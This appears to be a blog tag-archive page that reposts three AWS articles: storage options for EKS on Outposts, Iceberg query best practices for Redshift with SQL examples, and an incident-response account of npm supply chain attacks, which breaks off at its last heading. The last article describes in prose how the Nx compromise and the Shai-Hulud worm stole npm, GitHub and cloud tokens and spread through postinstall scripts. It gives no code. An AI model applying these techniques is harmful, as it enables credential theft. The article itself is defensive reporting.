Tag Archives: Best practices

Optimizing storage performance for Amazon EKS on AWS Outposts

Post Syndicated from Arun Kumar original https://aws.amazon.com/blogs/compute/optimizing-storage-performance-for-amazon-eks-on-aws-outposts/

Amazon Elastic Kubernetes Service (Amazon EKS) on AWS Outposts brings the power of managed Kubernetes to your on-premises infrastructure. Use Amazon EKS on Outposts rack to create hybrid cloud deployments that maintain consistent AWS experiences across environments. As organizations increasingly adopt edge computing and hybrid architectures, storage optimization and performance tuning become critical for successful workload deployment.

Outposts extend AWS infrastructure, services, APIs, and tools to virtually any datacenter, co-location space, or on-premises facility. In this blog post you will learn about your storage options and their performance characteristics which is essential for building resilient, high-performing applications using Amazon EKS on Outposts.

Amazon EKS on Outposts deployment options

The following two sections outline the differences between Amazon EKS extended and local cluster deployment options available on Outposts.

Amazon EKS extended cluster architecture

Amazon EKS extended clusters on Outposts provide a powerful solution for organizations seeking to use the benefits of Kubernetes while maintaining certain workloads on-premises, as shown in the following figure. This hybrid architecture allows businesses to extend their EKS clusters from the AWS Cloud to their own data centers or edge locations using Outposts. The Kubernetes control plane remains in the AWS Region, providing centralized management and benefiting from the AWS infrastructure in the cloud and on the Outpost.

Outposts is designed to be a connected service, and needs reliable network connectivity to the AWS Region using the Outposts service link.

Figure 1 : Extended cluster

Amazon EKS local cluster architecture

Amazon EKS local clusters deploy the Kubernetes control plane on your Outpost, as shown in the following figure. This provides greater network resilience against outages as cluster operations run entirely on the Outposts and reduces the dependency on network connectivity to the AWS Region. Having the Kubernetes control plane hosted on your Outpost also reduces latency for cluster operations.

  Figure 2: Local cluster

Storage options for Amazon EKS extended clusters on Outposts

Persistent Volumes (PV) and Persistent Volume Claims (PVC) serve as a critical abstraction layer in Kubernetes, separating the storage consumption details from storage provisioning, and allowing administrators to manage storage resources independently from how applications consume them. PVs and PVCs make sure of data persistence across pod restarts and rescheduling events, making them essential for applications that need to maintain state, such as databases, file storage systems, and other data-intensive workloads. The abstraction provided by PV and PVC enables platform-agnostic storage management, where applications can request storage through PVCs without needing to know the underlying storage implementation details. PVs and PVCs support dynamic provisioning through Storage Classes, allowing for automated storage allocation based on application demands, while also providing features such as access modes, capacity management, and reclaim policies to effectively manage the storage lifecycle in a Kubernetes cluster.

Integrating Amazon EBS with Amazon EKS

Amazon Elastic Block Store (Amazon EBS) provides high-performance block storage that’s ideal for low-latency applications providing consistent performance. When deployed on Outposts racks, EBS volumes are stored on the Outposts hardware, providing significant performance advantages over network-attached storage solutions, as shown in the following figure.

Figure 3 : Integrating Amazon EBS with Amazon EKS on Outposts

Benefits and use cases

  • Storage: EBS volumes on Outposts racks provide data access without dependency on external connectivity.
  • Performance: Local storage delivers consistent latency and high IOPS/throughput.
  • Cost: On-premises storage eliminates data transfer costs and reduces bandwidth needs, lowering the total cost of ownership.

Implementation considerations

Consider the following when using EBS on Outposts rack:

  • EBS volumes on Outposts are tied to a single rack and the availability zone the Outpost is homed to, needing applications to address single-point-of-failure risks.
  • Protect data using EBS snapshots in the parent Region and schedule regular backups.
  • Capacity on Outposts is finite, monitor Outposts storage usage and plan expansions proactively to avoid insufficient capacity errors.

Refer to Dynamic Volume Provisioning to learn more about deploying pod with the EBS volume attached.

Amazon EFS with Amazon EKS

Amazon Elastic File System (Amazon EFS) provides scalable, shared file storage that can be accessed across multiple AWS Availability Zones (AZs) and on-premises environments. Although Amazon EFS with Amazon EKS on Outposts maintains the same setup procedures as standard cloud deployments, there is a critical dependency on the service link connection between your Outposts and the AWS Region. Amazon EFS is not a locally supported service on Outposts, so connectivity to the AWS Region is required to use this service with your Outpost.

Amazon EFS allows multiple pods to concurrently access shared file systems. It is well-suited for applications that need collaborative data access, content management, and distributed processing workloads.

Amazon EFS as a persistent storage solution for Amazon EKS extended cluster instances

Amazon EFS as a PV for your Amazon EKS extended cluster operates through a hybrid architecture where the Amazon EFS file system resides in the Region, but mount points can be created on the worker nodes running on Outposts subnets through the service link as shown in the following figure.

Figure 4 : Amazon EFS as a persistent storage solution for extended clusters

Benefits and use cases

  • Shared storage capabilities: multiple pods can access a centralized file system, enabling shared data, code, and assets across instances.
  • Scalability: storage capacity and performance automatically scale with usage, eliminating manual provisioning and upfront planning.
  • Compliance: Amazon EFS provides full file system features and compatibility for traditional applications, such as locking, permissions, and directory structure.

Challenges and limitations

Consider the following when using Amazon EFS with Outposts:

  • Network latency: file access involves network traversal to Amazon EFS in the Region, adding more latency and making small or metadata operations potentially slow for latency-sensitive applications.
  • Throughput: aggregate throughput is restricted by the available bandwidth on the service link between the Outposts and AWS Region. This impacts concurrent access and large file transfers during peak usage.
  • Dependency on AWS Region connectivity: Amazon EFS needs continuous connectivity to the parent Region. Disruptions may affect file system availability, operations, and disaster recovery processes.
  • Data Transfer charges: Since EFS is in AWS Parent region and EKS worker nodes and pods are in Outpost additional charges are applicable.

You can refer to Amazon EFS Features and When to Choose Amazon EFS for more detailed insights into its capabilities and use cases.

Deploying pods on extended clusters using Amazon EFS as PV

Refer to Use Elastic File System Storage with Amazon EFS for deployment guidance. Note, Create Amazon EFS mount targets in subnets that are in the same Availability Zone (AZ) as the Outposts subnets.

Amazon S3 with Amazon EKS extended cluster

Amazon Simple Storage Service (Amazon S3) on Outposts delivers local object storage on your Outposts, allowing applications to use Amazon S3 APIs for storing and retrieving data while keeping it onsite. It is ideal for workloads that need Amazon S3 compatibility, low latency access to object data, and local data residency.

You should use Amazon S3 access point Amazon Resource Names (ARNs) and not bucket ARNs for proper integration with Amazon EKS workloads.

Learn more about Amazon S3 on Outposts.

Figure 5 : Amazon S3 with Amazon EKS extended cluster on Outposts

Benefits and use cases

  • Data archiving and compliance: Enables cost-effective, locally retained storage for logs, audit trails, regulatory compliance, backups, and sensitive healthcare data with strict residency requirements.
  • Content distribution and media: Provides ultra-low latency local storage for serving static content, media streaming, digital asset management, and gaming asset delivery.
  • Data lake and analytics: Supports local data processing for analytics, ETL, machine learning (ML), real-time Internet of Things (IoT) data handling, and business intelligence with reduced latency and transfer costs.
  • Application integration: Seamlessly integrates with Amazon S3 compatible apps for backup, synchronization, microservices storage, API-driven workflows, and container image management on-premises.

Refer to How is Amazon S3 on Outposts different from Amazon S3 and the Amazon S3 on Outposts documentation to learn more.

Deploying pods on extended clusters using Amazon S3 as PV

Step 1: Create Amazon S3 on Outposts bucket
Step 2: Create Amazon S3 Access Point (necessary for Amazon EKS integration)
Step 3: Configure IAM roles and policies
Step 4: Install Amazon S3 CSI driver
Step 5: Deploying your pod with Amazon S3 volume attached
Step 6: Complete Amazon S3 configuration with Kubernetes

Refer to the documentation Static Provisioning on Outposts bucket for more details on Step 5.

Best practices for optimizing performance

Optimizing performance starts with selecting the right storage type for your workload: Amazon EBS for low-latency, high-throughput block storage; Amazon EFS for shared POSIX-compliant file systems; and Amazon S3 for scalable object storage with API compatibility. Ensure proper volume sizing, monitor usage proactively, and configure CPU and memory requests accurately to balance performance and efficiency—auto scaling and QoS classes can further optimize resource management. Improve data locality by using local storage, apply caching with intelligent eviction, and design for efficient, asynchronous, and compressed data access patterns.

Monitoring and observability

Monitoring key performance metrics is essential to maintain storage efficiency and application reliability. For Amazon EBS, track IOPS, throughput, latency, burst balance, queue depth, and snapshot performance to avoid degradation—see the Amazon CloudWatch metrics for Amazon EBS for the full list. For Amazon EFS, monitor total I/O, throughput, client connections, metadata operations, burst credits, and Regional data transfers to support effective capacity planning—refer to CloudWatch metrics for Amazon EFS. For Amazon S3, observe request and error rates, data transfer, storage usage, latency, multipart upload efficiency, and access patterns to optimize performance and cost—see Metrics and dimensions.

Security considerations

Strong security practices are critical for Amazon EKS on Outposts. Use AWS Key Management Service (AWS KMS) for Amazon EBS encryption, encrypt Amazon EFS data at rest and in transit, and enable server- or client-side encryption for Amazon S3. Enforce TLS for all data transfers and apply key rotation with compliance controls. Implement least privilege IAM policies, scoped roles, and Kubernetes Role-Based Access Control (RBAC) for granular pod access. Secure traffic with security groups and NACLs, and maintain audit logs for all storage operations.

Cost optimization strategies

Manage storage costs by right-sizing volumes, automating lifecycle policies, selecting appropriate storage classes, monitoring data transfer, and using de-duplication and compression where applicable. Lower operational expenses through automated backups, infrastructure as code (IaC), monitoring automation, leveraging managed services, applying cost allocation tags, and conducting regular usage reviews.

Conclusion

Amazon EKS on Outposts empowers organizations to build hybrid applications with storage options that align to performance, compliance, and data residency needs. By selecting the right storage solution for each workload and leveraging Outposts’ local infrastructure, you can reduce latency, minimize network dependencies, and maintain consistency across environments. As Outposts capabilities continue to evolve, they offer a strong foundation for modern, resilient, and cost-efficient hybrid cloud architectures.

Reach out to your AWS account team, or fill out this form to learn more about running containarized applications on Outposts.

Best practices for querying Apache Iceberg data with Amazon Redshift

Post Syndicated from Anusha Challa original https://aws.amazon.com/blogs/big-data/best-practices-for-querying-apache-iceberg-data-with-amazon-redshift/

Apache Iceberg is an open table format that helps combine the benefits of using both data warehouse and data lake architectures, giving you choice and flexibility for how you store and access data. See Using Apache Iceberg on AWS for a deeper dive on using AWS Analytics services for managing your Apache Iceberg data. Amazon Redshift supports querying Iceberg tables directly, whether they’re fully-managed using Amazon S3 Tables or self-managed in Amazon S3. Understanding best practices for how to architect, store, and query Iceberg tables with Redshift helps you meet your price and performance targets for your analytical workloads.

In this post, we discuss the best practices that you can follow while querying Apache Iceberg data with Amazon Redshift

1. Follow the table design best practices

Selecting the right data types for Iceberg tables is important for efficient query performance and maintaining data integrity. It is important to match the data types of the columns to the nature of the data they store, rather than using generic or overly broad data types.

Why follow table design best practices?

  • Optimized Storage and Performance: By using the most appropriate data types, you can reduce the amount of storage required for the table and improve query performance. For example, using the DATE data type for date columns instead of a STRING or TIMESTAMP type can reduce the storage footprint and improve the efficiency of date-based operations.
  • Improved Join Performance: The data types used for columns participating in joins can impact query performance. Certain data types, such as numeric types (such as, INTEGER, BIGINT, DECIMAL), are generally more efficient for join operations compared to string-based types (such as, VARCHAR, TEXT). This is because numeric types can be easily compared and sorted, leading to more efficient hash-based join algorithms.
  • Data Integrity and Consistency: Choosing the correct data types helps with data integrity by enforcing the appropriate constraints and validations. This reduces the risk of data corruption or unexpected behavior, especially when data is ingested from multiple sources.

How to follow table design best practices?

  • Leverage Iceberg Type Mapping: Iceberg has built-in type mapping that translates between different data sources and the Iceberg table’s schema. Understand how Iceberg handles type conversions and use this knowledge to define the most appropriate data types for your use case.
  • Select the smallest possible data type that can accommodate your data. For example, use INT instead of BIGINT if the values fit within the integer range, or SMALLINT if they fit even smaller ranges.
  • Utilize fixed-length data types when data length is consistent. This can help with predictable and faster performance.
  • Choose character types like VARCHAR or TEXT for text, prioritizing VARCHAR with an appropriate length for efficiency. Avoid over-allocating VARCHAR lengths, which can waste space and slow down operations.
  • Match numeric precision to your actual requirements. Using unnecessarily high precision (such as, DECIMAL(38,20) instead of DECIMAL(10,2) for currency) demands more storage and processing, leading to slower query execution times for calculations and comparisons.
  • Employ date and time data types (such as, DATE, TIMESTAMP) rather than storing dates as text or numbers. This optimizes storage and allows for efficient temporal filtering and operations.
  • Opt for boolean values (such as, BOOLEAN) instead of using integers to represent true/false states. This saves space and potentially enhances processing speed.
  • If the column will be used in join operations, favor data types that are typically used for indexing. Integers and date/time types generally allow for faster searching and sorting than larger, less efficient types like VARCHAR(MAX).

2. Partition your Apache Iceberg table on columns that are most frequently used in filters

When working with Apache Iceberg tables in conjunction with Amazon Redshift, one of the most effective ways to optimize query performance is to partition your data strategically. The key principle is to partition your Iceberg table based on columns that are most frequently used in query filters. This approach can significantly improve query efficiency and reduce the amount of data scanned, leading to faster query execution and lower costs.

Why partitioning Iceberg tables matters?

  • Improved Query Performance: When you partition on columns commonly used in WHERE clauses, Amazon Redshift can eliminate irrelevant partitions, reducing the amount of data it needs to scan. For example, if you have a sales table partitioned by date and you run a query to analyze sales data for January 2024, Amazon Redshift will only scan the January 2024 partition instead of the entire table. This partition pruning can dramatically improve query performance—in this scenario, if you have five years of sales data, scanning just one month means examining only 1.67% of the total data, potentially reducing query execution time from minutes to seconds.
  • Reduced Scan Costs: By scanning less data, you can lower the computational resources required and, consequently the associated costs.
  • Better Data Organization: Logical partitioning helps in organizing data in a way that aligns with common query patterns, making data retrieval more intuitive and efficient.

How to partition Iceberg tables?

  • Analyze your workload to determine which columns are most frequently used in filter conditions. For example, if you always filter your data for the last 6months, then that date will be a good partition key.
  • Select columns that have high cardinality but not too high to avoid creating too many small partitions. Good candidates often include:
    • Date or timestamp columns (such as, year, month, day)
    • Categorical columns with a moderate number of distinct values (such as, region, product category)
  • Define Partition Strategy: Use Iceberg’s partitioning capabilities to define your strategy. For example if you are using Amazon Athena to create a partitioned Iceberg table, you can use the following syntax.
CREATE TABLE [db_name.]table_name (col_name data_type [COMMENT col_comment] [, …]
[PARTITIONED BY (col_name | transform, … )]
LOCATION 's3://amzn-s3-demo-bucket/your-folder/'
TBLPROPERTIES ( 'table_type' = 'ICEBERG' [, property_name=property_value] )

Example

CREATE TABLE iceberg_db.my_table ( id INT, date DATE, region STRING, sales DECIMAL(10,2) )
PARTITIONED BY (date, region)
LOCATION 's3://amzn-s3-demo-bucket/your-folder/'
TBLPROPERTIES ( 'table_type' = 'ICEBERG' )
  • Ensure your Redshift queries take advantage of the partitioning scheme by including partition columns in the WHERE clause whenever possible.

Walk-through with a sample usecase
Let’s take an example to understand how to pick the best partition key by following best practices. Consider an e-commerce company looking to optimize their sales data analysis using Apache Iceberg tables with Amazon Redshift. The company maintains a table called sales_transactions, which has data for 5 years across four regions (North America, Europe, Asia, and Australia) with five product categories (Electronics, Clothing, Home & Garden, Books, and Toys). The dataset includes key columns such as transaction_id, transaction_date, customer_id, product_id, product_category, region, and sale_amount.

The data science team uses transaction_date and region columns frequently in filters, while product_category is used less frequently. The transaction_date column has high cardinality (one value per day), region has low cardinality (only 4 distinct values) and product_category has moderate cardinality (5 distinct values).

Based on this analysis, an effective partition strategy would be to partition by year and month from the transaction_date, and by region. This creates a manageable number of partitions while improving the most common query patterns. Here’s how we could implement this strategy using Amazon Athena:

CREATE TABLE iceberg_db.sales_transactions ( transaction_id STRING, transaction_date DATE, customer_id STRING, product_id STRING, product_category STRING, region STRING, sale_amount DECIMAL(10,2))
PARTITIONED BY (transaction_date, region)
LOCATION 's3://athena-371178653860-22hcl401/sales-data/'
TBLPROPERTIES ('table_type' = 'ICEBERG');

3. Optimize by selecting only the necessary columns for query

Another best practice for working with Iceberg tables is to only select the columns that are necessary for a given query, and to avoid using the SELECT * syntax.

Why should you select only necessary columns?

  • Improved Query Performance: In analytics workloads, users typically analyze subsets of data, performing large-scale aggregations or trend analyses. To optimize these operations, analytics storage systems and file formats are designed for efficient column-based reading. Examples include columnar open file formats like Apache Parquet and columnar databases such as Amazon Redshift. A key best practice to select only the required columns in your queries, so the query engine can reduce the amount of data that needs to be processed, scanned, and returned. This can lead to significantly faster query execution times, especially for large tables.
  • Reduced Resource Utilization: Fetching unnecessary columns consumes additional system resources, such as CPU, memory, and network bandwidth. Limiting the columns selected can help optimize resource utilization and improve the overall efficiency of the data processing pipeline.
  • Lower Data Transfer Costs: When querying Iceberg tables stored in cloud storage (e.g., Amazon S3), the amount of data transferred from the storage service to the query engine can directly impact the data transfer costs. Selecting only the required columns can help minimize these costs.
  • Better Data Locality: Iceberg partitions data based on the values in the partition columns. By selecting only the necessary columns, the query engine can better leverage the partitioning scheme to improve data locality and reduce the amount of data that needs to be scanned.

How to only select necessary columns?

  • Identify the Columns Needed: Carefully analyze the requirements of each query and determine the minimum set of columns required to fulfill the query’s purpose.
  • Use Selective Column Names: In the SELECT clause of your SQL queries, explicitly list the column names you need, rather than using SELECT *.

4. Generate AWS Glue data catalog column level statistics

Table statistics play an important role in database systems that utilize Cost-Based Optimizers (CBOs), such as Amazon Redshift. They help the CBO make informed decisions about query execution plans. When a query is submitted to Amazon Redshift, the CBO evaluates multiple possible execution plans and estimates their costs. These cost estimates heavily depend on accurate statistics about the data, including: Table size (number of rows), column value distributions, Number of distinct values in columns, Data skew information, and more.

AWS Glue Data Catalog supports generating statistics for data stored in the data lake including for Apache Iceberg. The statistics include metadata about the columns in a table, such as minimum value, maximum value, total null values, total distinct values, average length of values, and total occurrences of true values. These column-level statistics provide valuable metadata that helps optimize query performance and improve cost efficiency when working with Apache Iceberg tables.

Why generating AWS Glue statistics matter?

  • Amazon Redshift can generate better query plans using column statistics, thereby improve performance on queries due to optimized join orders, better predicate push-down and more accurate resource allocation.
  • Costs will be optimized. Better execution plans lead to reduced data scanning, more efficient resource utilization and overall lower query costs.

How to generate AWS Glue statistics?

The Sagemaker Lakehouse Catalog enables you to generate statistics automatically for updated and created tables with a one-time catalog configuration. As new tables are created, the number of distinct values (NDVs) are collected for Iceberg tables. By default, the Data Catalog generates and updates column statistics for all columns in the tables on a weekly basis. This job analyzes 50% of records in the tables to calculate statistics.

  • On the Lake Formation console, choose Catalogs in the navigation pane.
  • Select the catalog that you want to configure, and choose Edit on the Actions menu.
  • Select Enable automatic statistics generation for the tables of the catalog and choose an IAM role. For the required permissions, see Prerequisites for generating column statistics.
  • Choose Submit.

You can override the defaults and customize statistics collection at the table level to meet specific needs. For frequently updated tables, statistics can be refreshed more often than weekly. You can also specify target columns to focus on those most commonly queried. You can set what percentage of table records to use when calculating statistics. Therefore, you can increase this percentage for tables that need more precise statistics, or decrease it for tables where a smaller sample is sufficient to optimize costs and statistics generation performance.These table-level settings can override the catalog-level settings previously described.

Read the blog Introducing AWS Glue Data Catalog automation for table statistics collection for improved query performance on Amazon Redshift and Amazon Athena for more information.

5. Implement Table Maintenance Strategies for Optimal Performance

Over time, Apache Iceberg tables can accumulate various types of metadata and file artifacts that impact query performance and storage efficiency. Understanding and managing these artifacts is crucial for maintaining optimal performance of your data lake. As you use Iceberg tables, three main types of artifacts accumulate:

  • Small Files: When data is ingested into Iceberg tables, especially through streaming or frequent small batch updates, many small files can accumulate because each write operation typically creates new files rather than appending to existing ones.
  • Deleted Data Artifacts: Iceberg uses copy-on-write for updates and deletes. When records are deleted, Iceberg creates “delete markers” rather than immediately removing the data. These markers need to be processed during reads to filter out deleted records.
  • Snapshots: Every time you make changes to your table (insert, update, or delete data), Iceberg creates a new snapshot—essentially a point-in-time view of your table. While valuable for maintaining history, these snapshots increase metadata size over time, impacting query planning and execution.
  • Unreferenced Files: These are files that exist in storage but aren’t linked to any current table snapshot. They occur in two main scenarios:
    1. When old snapshots are expired, the files exclusively referenced by those snapshots become unreferenced
    2. When write operations are interrupted or fail midway, creating data files that aren’t properly linked to any snapshot

Why table maintenance matters?

Regular table maintenance delivers several important benefits:

  • Enhanced Query Performance: Consolidating small files reduces the number of file operations required during queries, while removing excess snapshots and delete markers streamlines metadata processing. These optimizations allow query engines to access and process data more efficiently.
  • Optimized Storage Utilization: Expiring old snapshots and removing unreferenced files frees up valuable storage space, helping you maintain cost-effective storage utilization as your data lake grows.
  • Improved Resource Efficiency: Maintaining well-organized tables with optimized file sizes and clean metadata requires less computational resources for query execution, allowing your analytics workloads to run faster and more efficiently.
  • Better Scalability: Properly maintained tables scale more effectively as data volumes grow, maintaining consistent performance characteristics even as your data lake expands.

How to perform table maintenance?

Three key maintenance operations help optimize Iceberg tables:

  1. Compaction: Combines smaller files into larger ones and merges delete files with data files, resulting in streamlined data access patterns and improved query performance.
  2. Snapshot Expiration: Removes old snapshots that are no longer needed while maintaining a configurable history window.
  3. Unreferenced File Removal: Identifies and removes files that are no longer referenced by any snapshot, reclaiming storage space and reducing the total number of objects the system needs to track.

AWS offers a fully managed Apache Iceberg data lake solution called S3 tables that automatically takes care of table maintenance, including:

  • Automatic Compaction: S3 Tables automatically perform compaction by combining multiple smaller objects into fewer, larger objects to improve Apache Iceberg query performance. When combining objects, compaction also applies the effects of row-level deletes in your table. You can manage compaction process based on the configurable table level properties.
    • targetFileSizeMB: Default is 512 MB. Can be configured to a value between between 64 MiB and 512 MiB.

Apache Iceberg offers various methods like Binpack, Sort, Z-order to compact data. By default Amazon S3 selects the best of these three compaction strategy automatically based on your table sort order

  • Automated Snapshot Management: S3 Tables automatically expires older snapshots based on configurable table level properties
    • MinimumSnapshots (1 by default): Minimum number of table snapshots that S3 Tables will retain
    • MaximumSnapshotAge (120 hours by default): This parameter determines the maximum age, in hours, for snapshots to be retained
  • Unreferenced File Removal: Automatically identifies and deletes objects not referenced by any table snapshots based on configurable bucket level properties:
    • unreferencedDays (3 days by default): Objects not referenced for this duration are marked as noncurrent
    • nonCurrentDays (10 days by default): Noncurrent objects are deleted after this duration

Note: Deletes of noncurrent objects are permanent with no way to recover these objects.

If you are managing Iceberg tables yourself, you’ll need to implement these maintenance tasks:

Using Athena:
  • Run OPTIMIZE command using the following syntax:
    OPTIMIZE [database_name.]<table_name>;

    This command triggers the compaction process, which utilizes a bin-packing algorithm to group small data files into larger ones. It also merges delete files with existing data files, effectively cleaning up the table and improving its structure.

  • Set the following table properties during iceberg table creation: vacuum_min_snapshots_to_keep (Default 1): Minimum snapshots to retain vacuum_max_snapshot_age_seconds (Default 432000 seconds or 5 days)
  • Periodically run the VACUUM command to expire old snapshots and remove unreferenced files. Recommended after performing operations like merge on iceberg tables. Syntax: VACUUM [database_name.]target_table. VACUUM performs snapshot expiration and orphan file removal
Using Spark SQL:
  • Schedule regular compaction jobs with Iceberg’s rewrite files action
  • Use expireSnapshots operation to remove old snapshots
  • Run deleteOrphanFiles operation to clean up unreferenced files
  • Establish a maintenance schedule based on your write patterns (hourly, daily, weekly)
  • Run these operations in sequence, typically compaction followed by snapshot expiration and unreferenced file removal
  • It’s especially important to run these operations after large ingest jobs, heavy delete operations, or overwrite operations

6. Create incremental materialized views on Apache Iceberg tables in Redshift to improve performance of time sensitive dashboard queries

Organizations across industries rely on data lake powered dashboards for time-sensitive metrics like sales trends, product performance, regional comparisons, and inventory rates. With underlying Iceberg tables containing billions of records and growing by millions daily, recalculating metrics from scratch during each dashboard refresh creates significant latency and degrades user experience.

The integration between Apache Iceberg and Amazon Redshift enables creating incremental materialized views on Iceberg tables to optimize dashboard query performance. These views enhance efficiency by:

  • Pre-computing and storing complex query results
  • Using incremental maintenance to process only recent changes since last refresh
  • Reducing compute and storage costs compared to full recalculations

Why incremental materialized views on Iceberg tables matter?

  • Performance Optimization: Pre-computed materialized views significantly accelerate dashboard queries, especially when accessing large-scale Iceberg tables
  • Cost Efficiency: Incremental maintenance through Amazon Redshift processes only recent changes, avoiding expensive full recomputation cycles
  • Customization: Views can be tailored to specific dashboard requirements, optimizing data access patterns and reducing processing overhead

How to create incremental materialized views?

  • Determine which Iceberg tables are the primary data sources for your time-sensitive dashboard queries.
  • Use the CREATE MATERIALIZED VIEW statement to define the materialized views on the Iceberg tables. Ensure that the materialized view definition includes only the necessary columns and any applicable aggregations or transformations.
  • If you have used all operators that are eligible for an incremental refresh, Amazon Redshift automatically creates an incrementally refresh-able materialized view. Refer to limitations for incremental refresh to understand the operations that are not eligible for an incremental refresh
  • Regularly refresh the materialized views using REFRESH MATERIALIZED VIEW command

7. Create Late binding views (LBVs) on Iceberg table to encapsulate business logic.

Amazon Redshift’s support for late binding views on external tables, including Apache Iceberg tables, allows you to encapsulate your business logic within the view definition. This best practice provides several benefits when working with Iceberg tables in Redshift.

Why create LBVs?

  • Centralized Business Logic: By defining the business logic in the view, you can ensure that the transformation, aggregation, and other processing steps are consistently applied across all queries that reference the view. This promotes code reuse and maintainability.
  • Abstraction from Underlying Data: Late binding views decouple the view definition from the underlying Iceberg table structure. This allows you to make changes to the Iceberg table, such as adding or removing columns, without having to update the view definitions that depend on the table.
  • Improved Query Performance: Redshift can optimize the execution of queries against late binding views, leveraging techniques like predicate pushdown and partition pruning to minimize the amount of data that needs to be processed.
  • Enhanced Data Security: By defining access controls and permissions at the view level, you can grant users access to only the data and functionality they require, improving the overall security of your data environment.

How to create LBVs?

  • Identify suitable Apache Iceberg tables: Determine which Iceberg tables are the primary data sources for your business logic and reporting requirements.
  • Create late binding views(LBVs): Use the CREATE VIEW statement to define the late binding views on the external Iceberg tables. Incorporate the necessary transformations, aggregations, and other business logic within the view definition.
    Example:

    CREATE VIEW my_iceberg_view AS
    SELECT col1,col2,SUM(col3) AS total_col3
    GROUP BY col1, col2
    WITH NO SCHEMA BINDING;
    

  • Grant View Permissions: Assign the appropriate permissions to the views, granting access to the users or roles that require access to the encapsulated business logic.

Conclusion

In this post, we covered best practices for using Amazon Redshift to query Apache Iceberg tables, focusing on fundamental design decisions. One key area is table design and data type selection, as this can have the greatest impact on your storage size and query performance. Additionally, using Amazon S3 Tables to have a fully-managed tables automatically handle essential maintenance tasks like compaction, snapshot management, and vacuum operations, allowing you to focus building your analytical applications.

As you build out your workflows to use Amazon Redshift with Apache Iceberg tables, considering the following best practices to help you achieve your workload goals:

  • Adopting Amazon S3 Tables for new implementations to leverage automated management features
  • Auditing existing table designs to identify opportunities for optimization
  • Developing a clear partitioning strategy based on actual query patterns
  • For self-managed Apache Iceberg tables on Amazon S3, implementing automated maintenance procedures for statistics generation and compaction


About the authors

Anusha Challa

Anusha Challa

Anusha is a Senior Analytics Specialist Solutions Architect focused on Amazon Redshift. She has helped 100s of customers build large-scale analytics solutions in the cloud and on premises. She is passionate about data analytics, data science and AI.

Mohammed Alkateb

Mohammed Alkateb

Mohammed is an Engineering Manager at Amazon Redshift. Mohammed has 18 US patents, and he has publications in research and industrial tracks of premier database conferences including EDBT, ICDE, SIGMOD and VLDB. Mohammed holds a PhD in Computer Science from The University of Vermont, and MSc and BSc degrees in Information Systems from Cairo University.

Jonathan Katz

Jonathan Katz

Jonathan is a Core Team member of the open source PostgreSQL project and an active open source contributor.

What AWS Security learned from responding to recent npm supply chain threat campaigns

Post Syndicated from Nikki Pahliney original https://aws.amazon.com/blogs/security/what-aws-security-learned-from-responding-to-recent-npm-supply-chain-threat-campaigns/

AWS incident response operates around the clock to protect our customers, the AWS Cloud, and the AWS global infrastructure. Through that work, we learn from a variety of issues and spot unique trends.

Over the past few months, high-profile software supply chain threat campaigns involving third party software repositories have highlighted the importance of protecting software supply chains for organizations of all types. In this post, we share how AWS responded to recent threats like the Nx package compromise, the Shai-Hulud worm, and a token-farming campaign in which Amazon Inspector identified more than 150,000 malicious packages (one of the largest attacks ever seen in open-source registries).

AWS Security responded to each of the examples in this post with a methodical and systematic approach. A key part of our incident response approach is to continually drive improvements into our response workflow and security systems to improve ahead of future incidents. We are also deeply committed to helping our customers and the global security community improve. Our goal with this post is to share our experiences responding to these incidents and to share the lessons we’ve learned.

Nx compromise attempts to scale through Generative AI

In late August 2025, abnormal patterns in third party software Generative AI prompt executions triggered an immediate escalation to our incident response teams. Within 30 minutes, a security incident command was established, and teams around the world began coordinating an investigation.

The investigation uncovered and confirmed the presence of a Javascript file, “telemetry.js”, that was designed to exploit GenAI command line tools through a popular npm package called Nx that had been compromised.
Our teams analyzed the malware and confirmed that the actors were attempting to steal sensitive configuration files through GitHub. However, they failed to generate valid access tokens which prevented any data from being compromised. This analysis resulted in critical data that helped our teams take direct action to protect AWS and our customers.

Working through our incident response process, some of the tasks our teams undertook included:

  • Produced a comprehensive impact assessment of AWS services and infrastructure. The assessment acts as a map that defines the scope of the incident and identifies the areas of the environment that need to be verified as part of the response.
  • Implemented repository-level blocklisting of npm packages to prevent further exposure to the compromised npm packages.
  • Conducted a deep dive to identify any potentially affected resources and look for any other attack vectors.
  • Investigated, analyzed, and remediated any affected hosts.
  • Used the learnings from our analysis to create improved detections across the environment and to enhance the security measures for Amazon Q. This included new system prompt guardrails to reject credential-harvesting, fixes to prevent system prompt extraction, and additional hardening measures for high-privilege execution modes.

The learnings from this work resulted in improvements we ingested into our incident response process and enhanced our detections mechanisms by improving how we monitor behavioral anomalies and cross-reference multiple intelligence sources. These efforts proved critical in identifying and responding to subsequent npm supply chain threat campaigns attacks.

Shai-Hulud and other npm campaigns

Then, just 3 weeks later in early September 2025, the two other npm supply chain campaigns began: the first targeted 18 popular packages (like Chalk and Debug) and the second dubbed, “Shai-Hulud”, targeted 180 packages in its first wave, with a second wave, “Shai-Hulud 2″, occurring in late November 2025. These types of campaigns attempt to compromise trusted developer machines to gain a foothold in an environment.

The Shai-Hulud worm attempts to harvest npm tokens, GitHub personal access tokens, and cloud credentials. When npm tokens are found, Shai-Hulud expands its reach by publishing infected packages as updates to packages those tokens have access to in the npm registry. The now compromised packages will execute the worm as a postinstall script, continuing to propagate the infection as new users download them. The worm also attempts to manipulate GitHub repositories to use malicious workflows to propagate and maintain its foothold in the repositories it has already infected.

While these events each took a different approach, the lessons AWS Security learned from the response to the Nx package compromise contributed to the response to these campaigns. Within 7 minutes of the publication of the packages affected by Shai-Hulud, we initiated our response process. Some of the key tasks we undertook during these responses included:

  • Registered the affected packages with the Open Source Security Foundation (OpenSSF), enabling a coordinated response across the security community.
    > Read more about how the Amazon Inspector team’s detection systems discovered these packages and how they work with the OpenSSF to help the security community respond to incidents like this one.
  • Performed monitoring to detect anomalous behavior. Where suspicious activity was detected, we took immediate action to notify impacted customers through AWS Personal Health Dashboard notifications, AWS Support cases, and direct email to the security contact for the accounts.
  • Analyzed the compromised npm packages to better understand the full capabilities of the worm, including development of a custom detonation script using generative AI, which was safely executed in a controlled sandbox environment. This work revealed the methods used by the malware to target GitHub tokens, AWS credentials, Google Cloud credentials, npm tokens, and environment variables. With this information, we used AI to analyze obfuscated JavaScript code to expand the scope of known indicators and affected packages.

By improving how we detect anomalous behavior that’s consistent with credential theft, how we analyze patterns across the npm repository, and—yet again—cross-referencing against multiple intelligence sources, AWS Security was able to build a deeper understanding of these types of coordinated campaigns. This helps to distinguish legitimate package activity from these types of malicious activities. This helped our teams respond even more effectively just a month later.

tea[.]xyz token farming

